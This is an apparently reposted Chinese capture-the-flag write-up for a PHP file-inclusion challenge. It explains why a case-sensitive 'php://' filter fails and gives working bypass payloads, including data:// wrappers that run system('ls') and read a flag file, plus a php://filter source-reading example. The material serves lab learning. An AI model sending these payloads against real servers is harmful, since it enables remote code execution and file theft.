zoukankan      html  css  js  c++  java
  • Web_php_include

    0x01 函数分析

    <?php
    show_source(__FILE__);
    echo $_GET['hello'];
    $page=$_GET['page'];
    while (strstr($page, "php://")) {
        $page=str_replace("php://", "", $page);
    }
    include($page);
    ?>
    

    strstr():

    定义和用法:

    • 搜索字符串在另一个字符串中是否存在,如果是,返回字符串及剩余部分,否则返回false。
    • 区分大小写,stristr()函数不区分大小写

    语法:
    strstr(string,search,before_search)

    • string:必需,被搜索的字符串
    • search:必需,要搜索的字符串,若是数字,则搜索对应的ASCII值的字符
    • before_search:可选,默认为“false”,若为true,将返回search参数第一次出现之前的字符串部分
    //实例
    <?php
    echo strstr("helloworld","wor"),PHP_EOL;
    echo strstr("helloworld","wor",true),PHP_EOL;
    echo strstr("Helloworld!",111),PHP_EOL;//111ASCII为O
    $a=strstr("Helloworld!",'ooo',true);
    var_dump($a);
    $b=strstr("Helloworld!",'ooo');
    var_dump($b);
    ?>
    
    world
    hello
    oworld!
    bool(false)
    bool(false)
    
    

    str_replace():

    定义和用法:

    • 以其它字符替换字符串中的一些字符(区分大小写)

    语法:
    str_replace(find,replace,string,count)

    • find,必需,要查找的值
    • replace,必需,要替换的值
    • string,必需,被搜索的字符串
    • count,可选,替换次数

    0x02

    此题为文件包含,过滤掉php://伪协议,可以使用其它伪协议结题。

    方法1:大小写绕过
    strstr()函数区分大小写,所以使用PHP://input

    方法2:date://伪协议

    payload
    ?page=data://text/plain,<?php system("ls")?>
    ?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4= //base64编码
    

    ?page=data://text/plain,<?php system("cat fl4gisisish3r3.php")?>
    

    0x03伪协议

    1、伪协议种类

    • file:// 访问本地文件系统
    • http:// 访问http(s)网址
    • ftp:// 访问ftp
    • php:// 访问各个输入/输出流
    • zlib:// 压缩流
    • data:// 数据
    • rar:// RAR压缩包
    • ogg:// 音频流

    2、造成文件包含漏洞的函数

    include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readline

    3、php伪协议

    • php://input,用于执行php代码,需要post请求提交数据。
    • php://filter,用于读取源码,get提交参数。?a=php://filter/read=convert.base64/resource=xxx.php
    • 需要开启allow_url_fopen:php://input、php://stdin、php://memory、php://temp
    • 不需要开启allow_url_fopen:php://filter

    4、data协议
    用法:
    data://text/plain,xxxx(要执行的php代码)
    data://text/plain;base64,xxxx(base64编码后的数据)
    例:
    ?page=data://text/plain,
    ?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=

    5、file协议
    用法:
    file://[本地文件系统的绝对路径]

    参考链接:
    https://blog.csdn.net/weixin_43818995/article/details/104164700
    https://blog.csdn.net/szuaurora/article/details/78141126
    https://www.cnblogs.com/-an-/p/12372220.html

  • 相关阅读:
    HDU 4825 字典树
    HDU4287 字典树
    HDU 3973 AC's String 字符串哈希
    HDU5296 Annoying problem(LCA)
    Gym 100712L Alternating Strings II(单调队列)
    数据结构专题
    HDU5033 Building(单调栈)
    HDU2888 Check Corners(二维RMQ)
    HDU 4123 Bob’s Race(RMQ)
    HDU3530 Subsequence(单调队列)
  • 原文地址:https://www.cnblogs.com/observering/p/12824794.html
Copyright © 2011-2022 走看看